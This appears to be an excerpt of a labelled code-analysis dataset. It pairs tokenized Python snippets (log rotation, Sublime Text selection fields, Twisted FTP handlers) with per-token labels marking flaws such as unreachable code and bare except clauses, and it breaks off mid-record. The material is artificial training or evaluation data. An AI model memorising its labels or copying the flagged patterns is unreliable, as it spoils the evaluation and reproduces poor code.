"\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "list", "Logs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", " ", "sorte", "d", " ", "list", " ", "of", " ", "integ", "ers", " ", "-", " ", "the", " ", "old", " ", "logs", "'", " ", "identifi", "ers", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "name_", "in_", "glob_", "._", "glob_", "(_", "\"%", "s", ".*\"_", "%_", "self_", "._", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "counter_", "=_", "int_", "(_", "name_", "._", "split_", "(_", "'.'_", ")_", "[_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "counter_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "result_", "._", "append_", "(_", "counter_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "._", "sort_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "getstate", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "state_", "=_", "Base", "Log", "File_", "._", "\\u\\u", "getstate", "\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "state_", "[_", "\"", "size", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "state_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Da", "il", "y", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "A", " ", "log", " ", "file", " ", "tha", "t", " ", "is", " ", "rotated", " ", "daily", " ", "(", "at", " ", "or", " ", "after", " ", "mid", "night", " ", "localt", "ime", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Da", "il", "y", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "open", "File_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Base", "Log", "File_", "._", "\\u", "open", "File_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "last", "Date_", "=_", "self_", "._", "to", "Date_", "(_", "os_", "._", "stat_", "(_", "self_", "._", "path_", ")_", "[_", "8_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Da", "il", "y", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "shou", "ld", "Rotate", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Rotate", " ", "whe", "n", " ", "the", " ", "date", " ", "has", " ", "change", "d", " ", "sinc", "e", " ", "last", " ", "write", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "to", "Date_", "(_", ")_", ">_", "self_", "._", "last", "Date_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Da", "il", "y", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "to", "Date_", "(_", "self_", ",_", "*_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Convert", " ", "a", " ", "unix", "time", " ", "to", " ", "(", "year", ",", " ", "month", ",", " ", "day", ")", " ", "localt", "ime", " ", "tuple", ",", "\\", "10", ";", " ", " ", " ", " ", "or", " ", "return", " ", "the", " ", "current", " ", "(", "year", ",", " ", "month", ",", " ", "day", ")", " ", "localt", "ime", " ", "tuple", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "function", " ", "prima", "ri", "ly", " ", "exist", "s", " ", "so", " ", "you", " ", "may", " ", "overload", " ", "it", " ", "with", "\\", "10", ";", " ", " ", " ", " ", "gmt", "ime", ",", " ", "or", " ", "some", " ", "cru", "ft", " ", "to", " ", "make", " ", "unit", " ", "testi", "ng", " ", "possib", "le", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "prima", "ri", "ly", " ", "so", " ", "this", " ", "can", " ", "be", " ", "unit", " ", "tested", " ", "easi", "ly_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "time_", "._", "localtime_", "(_", "*_", "args_", ")_", "[_", ":_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Da", "il", "y", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "suffix_", "(_", "self_", ",_", "tuple", "date_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "the", " ", "suff", "ix", " ", "give", "n", " ", "a", " ", "(", "year", ",", " ", "month", ",", " ", "day", ")", " ", "tuple", " ", "or", " ", "unix", "time", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'\\u'_", "._", "join_", "(_", "map_", "(_", "str_", ",_", "tuple", "date_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "try", " ", "tak", "ing", " ", "a", " ", "float", " ", "unix", "time_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'\\u'_", "._", "join_", "(_", "map_", "(_", "str_", ",_", "self_", "._", "to", "Date_", "(_", "tuple", "date_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Da", "il", "y", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Log_", "(_", "self_", ",_", "identifier_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Give", "n", " ", "a", " ", "unix", " ", "time", ",", " ", "return", " ", "a", " ", "Log", "Read", "er", " ", "for", " ", "an", " ", "old", " ", "log", " ", "file", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "to", "Date_", "(_", "identifier_", ")_", "==_", "self_", "._", "last", "Date_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "get", "Curr", "ent", "Log_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "filename_", "=_", "\"%", "s", ".", "%", "s", "\"_", "%_", "(_", "self_", "._", "path_", ",_", "self_", "._", "suffix_", "(_", "identifier_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "filename_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", ",_", "\"", "no", " ", "suc", "h", " ", "logfile", " ", "exist", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Log", "Reader_", "(_", "filename_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Da", "il", "y", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Write", " ", "some", " ", "data", " ", "to", " ", "the", " ", "log", " ", "file", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Base", "Log", "File_", "._", "write_", "(_", "self_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Guard", " ", "against", " ", "a", " ", "corn", "er", " ", "case", " ", "where", " ", "time", ".", "time", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "coul", "d", " ", "potenti", "ally", " ", "run", " ", "back", "ward", "s", " ", "to", " ", "yesterday", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Prim", "ari", "ly", " ", "due", " ", "to", " ", "network", " ", "time", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "last", "Date_", "=_", "max_", "(_", "self_", "._", "last", "Date_", ",_", "self_", "._", "to", "Date_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Da", "il", "y", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rotate_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Rotate", " ", "the", " ", "file", " ", "and", " ", "create", " ", "a", " ", "new", " ", "one", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "it", "'", "s", " ", "not", " ", "possib", "le", " ", "to", " ", "open", " ", "new", " ", "logfile", ",", " ", "this", " ", "will", " ", "fail", " ", "silently", ",", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "continue", " ", "logg", "ing", " ", "to", " ", "old", " ", "logfile", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "(_", "os_", "._", "access_", "(_", "self_", "._", "directory_", ",_", "os_", "._", "W", "\\u", "OK_", ")_", "and_", "os_", "._", "access_", "(_", "self_", "._", "path_", ",_", "os_", "._", "W", "\\u", "OK_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "newpath_", "=_", "\"%", "s", ".", "%", "s", "\"_", "%_", "(_", "self_", "._", "path_", ",_", "self_", "._", "suffix_", "(_", "self_", "._", "last", "Date_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "newpath_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "rename_", "(_", "self_", "._", "path_", ",_", "newpath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "open", "File_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Da", "il", "y", "Log", "File_", "(_", "Base", "Log", "File_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "getstate", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "state_", "=_", "Base", "Log", "File_", "._", "\\u\\u", "getstate", "\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "state_", "[_", "\"", "last", "Date", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "state_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unreachable code
cidadania/ecidadania-ng/src/apps/spaces/views/rss.py
[ { "content": " def item_description(self, item):\n return item.description\n\n return sorted(results, key=lambda x: x.pub_date, reverse=True)", "metadata": "root.SpaceFeed.item_description", "header": "['class', 'SpaceFeed', '(', 'HTTPAuthFeed', ')', ':', '___EOS___']", "index": 95 } ]
[ { "span": "return sorted(results, key=lambda x: x.pub_date, reverse=True)", "start_line": 98, "start_column": 8, "end_line": 98, "end_column": 70 } ]
[]
1
true
[ "[CLS]_", "Unrea", "chab", "le_", "code_", "[SEP]_", "class_", "Spac", "e", "Feed_", "(_", "HTTP", "Auth", "Feed_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "item", "\\u", "description_", "(_", "self_", ",_", "item_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "item_", "._", "description_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "sorted_", "(_", "results_", ",_", "key_", "=_", "lambda_", "x_", ":_", "x_", "._", "pub", "\\u", "date_", ",_", "reverse_", "=_", "True_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Except block handles 'BaseException'
philippotto/Sublime-MultiEditUtils/selection_fields.py
[ { "content": "def _execute_jump(view, jump_forward, only_other):\n \"\"\"\n Add the selection to the fields and move the selection to the\n next field.\n \"\"\"\n regions = view.get_regions(\"meu_sf_stored_selections\")\n\n try:\n # search for the first field, which is behind the last selection\n end = max(sel.end() for sel in view.sel())\n pos = next(i for i, sel in enumerate(regions) if sel.begin() > end)\n except:\n # if there is no remaining field move the position behind the regions\n pos = len(regions)\n # insert the selection into the region\n if only_other:\n sel_count = 0\n else:\n sel_count = len(view.sel())\n if sel_count == 1:\n # handle special case of one selection\n regions.insert(pos, view.sel()[0])\n else:\n # put the selections into the regions array\n regions = regions[:pos] + list(view.sel()) + regions[pos:]\n # the forward jump must jump over all added selections\n delta = sel_count if jump_forward else -1\n # move the position to the next field\n pos = pos + delta\n return regions, pos", "metadata": "root._execute_jump", "header": "['module', '___EOS___']", "index": 51 } ]
[ { "span": "except:", "start_line": 62, "start_column": 4, "end_line": 62, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "execute", "\\u", "jump_", "(_", "view_", ",_", "jump", "\\u", "forward_", ",_", "only", "\\u", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Add", " ", "the", " ", "selection", " ", "to", " ", "the", " ", "fields", " ", "and", " ", "move", " ", "the", " ", "selection", " ", "to", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "next", " ", "field", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "regions_", "=_", "view_", "._", "get", "\\u", "regions_", "(_", "\"", "me", "u\\u", "sf", "\\u", "store", "d\\u", "selection", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "search", " ", "for", " ", "the", " ", "first", " ", "field", ",", " ", "whi", "ch", " ", "is", " ", "beh", "ind", " ", "the", " ", "last", " ", "selection_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "end_", "=_", "max_", "(_", "sel_", "._", "end_", "(_", ")_", "for_", "sel_", "in_", "view_", "._", "sel_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pos_", "=_", "next_", "(_", "i_", "for_", "i_", ",_", "sel_", "in_", "enumerate_", "(_", "regions_", ")_", "if_", "sel_", "._", "begin_", "(_", ")_", ">_", "end_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "there", " ", "is", " ", "no", " ", "rema", "inin", "g", " ", "field", " ", "move", " ", "the", " ", "position", " ", "beh", "ind", " ", "the", " ", "regions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pos_", "=_", "len_", "(_", "regions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "insert", " ", "the", " ", "selection", " ", "int", "o", " ", "the", " ", "region_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "only", "\\u", "other_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sel", "\\u", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sel", "\\u", "count_", "=_", "len_", "(_", "view_", "._", "sel_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sel", "\\u", "count_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "handle", " ", "special", " ", "case", " ", "of", " ", "one", " ", "selection_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "regions_", "._", "insert_", "(_", "pos_", ",_", "view_", "._", "sel_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "put", " ", "the", " ", "selection", "s", " ", "int", "o", " ", "the", " ", "regions", " ", "array_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "regions_", "=_", "regions_", "[_", ":_", "pos_", "]_", "+_", "list_", "(_", "view_", "._", "sel_", "(_", ")_", ")_", "+_", "regions_", "[_", "pos_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "the", " ", "forward", " ", "jump", " ", "must", " ", "jump", " ", "over", " ", "all", " ", "adde", "d", " ", "selections_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "delta_", "=_", "sel", "\\u", "count_", "if_", "jump", "\\u", "forward_", "else_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "move", " ", "the", " ", "position", " ", "to", " ", "the", " ", "next", " ", "field_", "\\u\\u\\uNL\\u\\u\\u_", "pos_", "=_", "pos_", "+_", "delta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "regions_", ",_", "pos_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
kuri65536/python-for-android/python-modules/twisted/twisted/protocols/ftp.py
[ { "content": " def _conswrite(self, bytes):\n try:\n self._cons.write(bytes)\n except:\n self._onConnLost.errback()", "metadata": "root.DTP._conswrite", "header": "['class', 'DTP', '(', 'object', ',', 'protocol', '.', 'Protocol', ')', ':', '___EOS___']", "index": 442 }, { "content": " def openForReading(self, path):\n \"\"\"\n Open C{path} for reading.\n\n @param path: The path, as a list of segments, to open.\n @type path: C{list} of C{unicode}\n @return: A L{Deferred} is returned that will fire with an object\n implementing L{IReadFile} if the file is successfully opened. If\n C{path} is a directory, or if an exception is raised while trying\n to open the file, the L{Deferred} will fire with an error.\n \"\"\"\n p = self._path(path)\n if p.isdir():\n # Normally, we would only check for EISDIR in open, but win32\n # returns EACCES in this case, so we check before\n return defer.fail(IsADirectoryError(path))\n try:\n f = p.open('r')\n except (IOError, OSError), e:\n return errnoToFailure(e.errno, path)\n except:\n return defer.fail()\n else:\n return defer.succeed(_FileReader(f))", "metadata": "root.FTPAnonymousShell.openForReading", "header": "['class', 'FTPAnonymousShell', '(', 'object', ')', ':', '___EOS___']", "index": 1632 }, { "content": " def access(self, path):\n p = self._path(path)\n if not p.exists():\n # Again, win32 doesn't report a sane error after, so let's fail\n # early if we can\n return defer.fail(FileNotFoundError(path))\n # For now, just see if we can os.listdir() it\n try:\n p.listdir()\n except (IOError, OSError), e:\n return errnoToFailure(e.errno, path)\n except:\n return defer.fail()\n else:\n return defer.succeed(None)", "metadata": "root.FTPAnonymousShell.access", "header": "['class', 'FTPAnonymousShell', '(', 'object', ')', ':', '___EOS___']", "index": 1666 }, { "content": " def stat(self, path, keys=()):\n p = self._path(path)\n if p.isdir():\n try:\n statResult = self._statNode(p, keys)\n except (IOError, OSError), e:\n return errnoToFailure(e.errno, path)\n except:\n return defer.fail()\n else:\n return defer.succeed(statResult)\n else:\n return self.list(path, keys).addCallback(lambda res: res[0][1])", "metadata": "root.FTPAnonymousShell.stat", "header": "['class', 'FTPAnonymousShell', '(', 'object', ')', ':', '___EOS___']", "index": 1683 }, { "content": " def list(self, path, keys=()):\n \"\"\"\n Return the list of files at given C{path}, adding C{keys} stat\n informations if specified.\n\n @param path: the directory or file to check.\n @type path: C{str}\n\n 